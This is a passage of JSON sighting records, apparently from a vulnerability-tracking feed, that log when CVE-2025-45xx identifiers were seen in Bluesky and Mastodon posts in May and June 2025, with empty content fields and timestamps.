"1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4513", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3lotqezxehet2", "content": "", "creation_timestamp": "2025-05-10T21:42:04.039668Z"}, {"uuid": "f133ef3d-1c83-43a6-81b0-f6608fa3e8ae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4512", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3lotqf5hl4xd2", "content": "", "creation_timestamp": "2025-05-10T21:42:04.668776Z"}, {"uuid": "2ae70caf-a283-462e-a64c-163b2b5f19de", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4514", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3lotuu6m55ct2", "content": "", "creation_timestamp": "2025-05-10T21:44:00.325726Z"}, {"uuid": "ab699630-1985-42ae-821c-13af015abbf1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4515", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3lotuub3y3gt2", "content": "", "creation_timestamp": "2025-05-10T21:44:10.050158Z"}, {"uuid": "5c8d55b6-132c-41f6-9cab-8229221c9178", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4525", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3lou3qi56mef2", "content": "", "creation_timestamp": "2025-05-10T23:27:37.138858Z"}, {"uuid": "08051c9d-10c2-4423-9958-3f060069331a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4525", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lou7mfwfx62h", "content": "", "creation_timestamp": "2025-05-11T00:36:44.023859Z"}, {"uuid": "0f0a06d9-00d1-4862-9e8d-f6d74585bb0b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4525", "type": "seen", "source": "https://infosec.exchange/users/cR0w/statuses/114486409909099551", "content": "", "creation_timestamp": "2025-05-11T00:39:39.896513Z"}, {"uuid": "9e4b67bd-7499-4a37-a0f5-62884bd48317", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4526", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3loubrrhu3iz2", "content": "", "creation_timestamp": "2025-05-11T01:15:41.183563Z"}, {"uuid": "d7bcdf15-f81e-4af9-bb46-362ff843de36", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4527", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3louhw26stma2", "content": "", "creation_timestamp": "2025-05-11T04:03:07.413635Z"}, {"uuid": "7ba819b0-e97c-4674-9c5e-f382b6f2fb33", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4528", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3loulcnj3vx42", "content": "", "creation_timestamp": "2025-05-11T04:06:13.048068Z"}, {"uuid": "207a73cb-7376-4ee0-85f1-8124f041e8f0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4529", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3loumoqfsrci2", "content": "", "creation_timestamp": "2025-05-11T04:31:44.801050Z"}, {"uuid": "212542ec-e4a2-4286-873d-aef391fb83af", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4526", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3loumzvu6nl2r", "content": "", "creation_timestamp": "2025-05-11T04:36:55.626232Z"}, {"uuid": "31b95ddc-b947-4a4e-a71a-b3881943c17c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4528", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3loumzw5cy62p", "content": "", "creation_timestamp": "2025-05-11T04:36:56.310125Z"}, {"uuid": "54c43c4e-e342-42ff-8c19-54d689a8868f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4527", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3loumzwdzbf2j", "content": "", "creation_timestamp": "2025-05-11T04:36:57.443951Z"}, {"uuid": "27fbedbe-5f1c-4d84-8b6f-30f9fa697e00", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4529", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3loumzwhsyo2t", "content": "", "creation_timestamp": "2025-05-11T04:36:58.061439Z"}, {"uuid": "dc3880c9-2521-43e8-9867-6afb1da97b7d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4528", "type": "seen", "source": "https://bsky.app/profile/zerodaily.me/post/3loutf5j7hc27", "content": "", "creation_timestamp": "2025-05-11T06:30:39.348875Z"}, {"uuid": "17aee09e-9abd-47a3-b991-6975acbe4c54", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4532", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lov2hfvmun2j", "content": "", "creation_timestamp": "2025-05-11T08:37:07.217239Z"}, {"uuid": "6565b1aa-362f-4ef7-b3f7-d1ab5abd99aa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4530", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lov2hg6ti72t", "content": "", "creation_timestamp": "2025-05-11T08:37:07.772448Z"}, {"uuid": "518d7d3e-5a06-482f-9a5a-a3a3da1b4596", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4535", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lov2hgcj6g2o", "content": "", "creation_timestamp": "2025-05-11T08:37:08.318986Z"}, {"uuid": "396195e1-c8b6-461a-a898-aaa793a7f90b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4533", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lov2hgfwiu2w", "content": "", "creation_timestamp": "2025-05-11T08:37:08.854112Z"}, {"uuid": "a5492a26-23c6-4572-86e5-42edfd03a12a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4531", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lov2hgjf7c2p", "content": "", "creation_timestamp": "2025-05-11T08:37:09.379717Z"}, {"uuid": "61bf8df2-a59a-498b-9d6f-cc54d3986f3b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4534", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lov2hgmqfu24", "content": "", "creation_timestamp": "2025-05-11T08:37:09.900316Z"}, {"uuid": "101794c6-ff48-4c1f-b9b1-35f7778f9562", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45985", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lriphifkp42r", "content": "", "creation_timestamp": "2025-06-13T15:03:56.636939Z"}, {"uuid": "78385504-efe0-4e06-ad26-662a479c59ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45987", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lripqgt7nb2m", "content": "", "creation_timestamp": "2025-06-13T15:08:57.126410Z"}, {"uuid": "6626d678-2bc8-4a85-9597-db20882ceffd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45986", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lripzfawgp2a", "content": "", "creation_timestamp": "2025-06-13T15:13:57.334942Z"}, {"uuid": "e1fdfdea-39f3-4051-bbcc-115bff4eecc8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4530", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3lourjqa6yhc2", "content": "", "creation_timestamp": "2025-05-11T10:06:15.160813Z"}, {"uuid": "3913b69e-9a92-45f3-88ca-92f4299e9e2c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4531", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3lourjlf5xhr2", "content": "", "creation_timestamp": "2025-05-11T10:06:15.740607Z"}, {"uuid": "2a3b813e-5c2a-4a69-af8f-0e2858772264", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4532", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3louu4immihr2", "content": "", "creation_timestamp": "2025-05-11T10:07:39.542586Z"}, {"uuid": "0a676361-62cb-4b99-b5e6-bb3a108524d1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4534", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3louydhyhb5g2", "content": "", "creation_timestamp": "2025-05-11T10:09:58.022141Z"}, {"uuid": "184da229-5bde-4e6c-9b69-a187af3b2008", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4533", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3louydjtwmkg2", "content": "", "creation_timestamp": "2025-05-11T10:09:58.560241Z"}, {"uuid": "926a437b-236f-435f-b903-5028afc2726b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4536", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3lov5sjeuv3s2", "content": "", "creation_timestamp": "2025-05-11T10:13:32.417440Z"}, {"uuid": "22a6ffa7-da35-4d71-8a61-1bbd98b237a3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4535", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3lov5sosz4ug2", "content": "", "creation_timestamp": "2025-05-11T10:13:33.211772Z"}, {"uuid": "0a10a017-63b3-416e-938f-539b9d8f4b24", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45988", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lriqcdnwkl2k", "content": "", "creation_timestamp": "2025-06-13T15:18:57.690606Z"}, {"uuid": "6b8dcff1-c4eb-4918-a24c-54120c22361d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-45984", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lriqlc46jz2q", "content": "", "creation_timestamp": "2025-06-13T15:23:58.103189Z"}, {"uuid": "eef0b8bb-1048-4362-aad7-708168a189af", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4537", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3lovamiolpit2", "content": "", "creation_timestamp": "2025-05-11T10:27:35.928573Z"}, {"uuid": "0af8d583-5245-423a-9fdb-6120c2fee92e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4538", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3lovdj6ghglg2", "content": "", "creation_timestamp": "2025-05-11T12:05:41.112087Z"}, {"uuid": "3ac2536e-5bb9-490e-922a-9b3bf1b3d742", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4539", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3lovgocqkl7g2", "content": "", "creation_timestamp": "2025-05-11T12:15:50.851016Z"}, {"uuid": "b0f3a482-c46f-4fd3-9089-0c475c740576", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4539", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lovhuw7mih2h", "content": "", "creation_timestamp": "2025-05-11T12:37:19.155189Z"}, {"uuid": "e07da6e8-d8d9-4553-96b7-df81ec8c9b58", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4536", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lovhuwiqjl2l", "content": "", "creation_timestamp": "2025-05-11T12:37:19.860593Z"}, {"uuid": "f9980340-c163-44fb-979e-7c7fe49015ab", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4537", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lovhuwmach24", "content": "", "creation_timestamp": "2025-05-11T12:37:20.443793Z"}, {"uuid": "3dc740bb-a1ed-4c71-9644-34f9c9f0236b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4554", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/114489370479364073", "content": "", "creation_timestamp": "2025-05-11T13:12:34.467541Z"}, {"uuid": "64c12623-27af-45f0-8041-1c588a7bb2f4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4540", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3lovubyq46pg2", "content": "", "creation_timestamp": "2025-05-11T16:21:09.423865Z"}, {"uuid": "eb576842-2ee3-47ba-8971-6e111cf28f5e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4541", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3lovucfk5x4b2", "content": "", "creation_timestamp": "2025-05-11T16:21:10.508206Z"}, {"uuid": "4fb9d8c5-d905-49bd-9db9-208c7f4000ff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4541", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lovvch2bct2p", "content": "", "creation_timestamp": "2025-05-11T16:37:31.926262Z"}, {"uuid": "48405a91-60bc-46ca-a323-cf62e6463e34", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4540", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lovvchdkf62t", "content": "", "creation_timestamp": "2025-05-11T16:37:32.654780Z"}, {"uuid": "0b80d8b3-1df3-4317-a8cf-f9fec453e82a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4542", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3low6fe2rynu2", "content": "", "creation_timestamp": "2025-05-11T19:20:25.006592Z"}, {"uuid": "802a239e-7d76-4ad9-ba56-625c4afe75c0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4543", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3low6fgcmx2d2", "content": "", "creation_timestamp": "2025-05-11T19:20:48.943625Z"}, {"uuid": "33a4fa3c-b152-4b4a-8894-666cb903496b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4544", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3low6fg2b7dr2", "content": "", "creation_timestamp": "2025-05-11T19:20:49.525998Z"}, {"uuid": "05072298-3d59-416c-b766-dd84661cd186", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4542", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lowcx4czue2o", "content": "", "creation_timestamp": "2025-05-11T20:41:43.651159Z"}, {"uuid": "aa9ba71a-4df9-4e91-81b6-ba83d942656d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4545", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lowcx4mgd22h", "content": "", "creation_timestamp": "2025-05-11T20:41:44.371423Z"}, {"uuid": "21317e1e-130f-4482-acc0-7e40846cf6cf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4543", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lowcx4pyls2h", "content": "", "creation_timestamp": "2025-05-11T20:41:45.505143Z"}, {"uuid": "f32fb0b7-1948-44f9-bddd-05ad96e1485b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4544", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lowcx4tdat2h", "content": "", "creation_timestamp": "2025-05-11T20:41:46.350697Z"}, {"uuid": "be9b61cd-e9e4-4446-8751-79cf74923e25", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4546", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lowcx4wspf2w", "content": "", "creation_timestamp": "2025-05-11T20:41:47.185305Z"}, {"uuid": "b4f4cb27-41a2-4076-bba4-57afa8126036", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4547", "type": "seen", "source": "https://bsky.app/profile/2rZiKKbOU3nTafniR2qMMSE0gwZ.activitypub.awakari.com.ap.brid.gy/post/3lowf5polpjg2", "content": "", "creation_timestamp": "2025-05-11T21:21:32.785922Z"}, {"uuid": "1c34333e-2552-48d7-9e53-d7d32601b0ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4549", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lowqelslzn2h", "content": "", "creation_timestamp": "2025-05-12T00:41:55.068962Z"}, {"uuid": "7e050fb4-4001-4915-a690-1073b42e8aee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4547", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lowqem4mwz2t", "content": "", "creation_timestamp": "2025-05-12T00:41:55.734282Z"}, {"uuid": "6656b73e-a092-4608-9538-93273af131c4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4550", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lowqemadh62o", "content": "", "creation_timestamp": "2025-05-12T00:41:56.264266Z"}, {"uuid": "96bbce46-f8ea-4c06-bd03-d75173f4576a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4548", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lowqeme2nh2n", "content": "", "creation_timestamp": "2025-05-12T00:41:56.890722Z"}, {"uuid": "a5ba64d3-b9d7-41ac-964f-6d599bbff71f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4552", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lowqemhdsb2h", "content": "", "creation_timestamp": "2025-05-12T00:41:57.472953Z"}, {"uuid": "7afaa864-e8fa-4ef0-9d27-1ad0030ce710", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4555", "type": "seen", "source": "https://bsky.app/profile/potato.software/post/3lowx4mpfx52i", "content": "", "creation_timestamp": "2025-05-12T02:42:43.748991Z"}, {"uuid": "1c7c0ae5-afad-43d3-99dd-afd93871148e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4556", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lox5s3iums2t", "content": "", "creation_timestamp": "2025-05-12T04:42:06.063217Z"}, {"uuid": "64a6da9c-d2e3-40a6-9713-eedbadb97e8b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4557", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lox5s3t4oy2p", "content": "", "creation_timestamp": "2025-05-12T04:42:06.749739Z"}, {"uuid": "79161f48-b247-4bc3-839f-f41851d8c22d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4554", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lox5s3wijp2o", "content": "", "creation_timestamp": "2025-05-12T04:42:07.748529Z"}, {"uuid": "27938651-1f89-4e9c-8a86-bd1dc808dff7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4558", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lox5s424au2r", "content": "", "creation_timestamp": "2025-05-12T04:42:08.710898Z"}, {"uuid": "762fcb81-7233-412c-a232-e550cda31bf3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4555", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lox5s45jie24", "content": "", "creation_timestamp": "2025-05-12T04:42:09.273760Z"}, {"uuid": "b1697420-0dd9-475d-a516-0f2f24edd0fe", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4553", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3lox5s4atwm24", "content": "", "creation_timestamp": "2025-05-12T04:42:09.796461Z"}, {"uuid": "c8e7712b-06dc-4dfe-8d0e-3080e9ca0af2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4556", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/114493404766229881", "content": "", "creation_timestamp": "2025-05-12T06:18:32.820718Z"}, {"uuid": "7a13d1c0-a610-4519-a3e4-c93e31eb57cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4559", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3loxl7locvq2p", "content": "", "creation_timestamp": "2025-05-12T08:42:18.404061Z"}, {"uuid": "dc15fcd0-433b-4a17-b742-c36f4af26667", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-4561", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3loxlijcoik2o", "content": "", "creation_timestamp": "2025-05-12T08:47:17.507081Z"}, {"uuid": "6ed84d82-a047-4751-910f-db5cbb5228f9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": 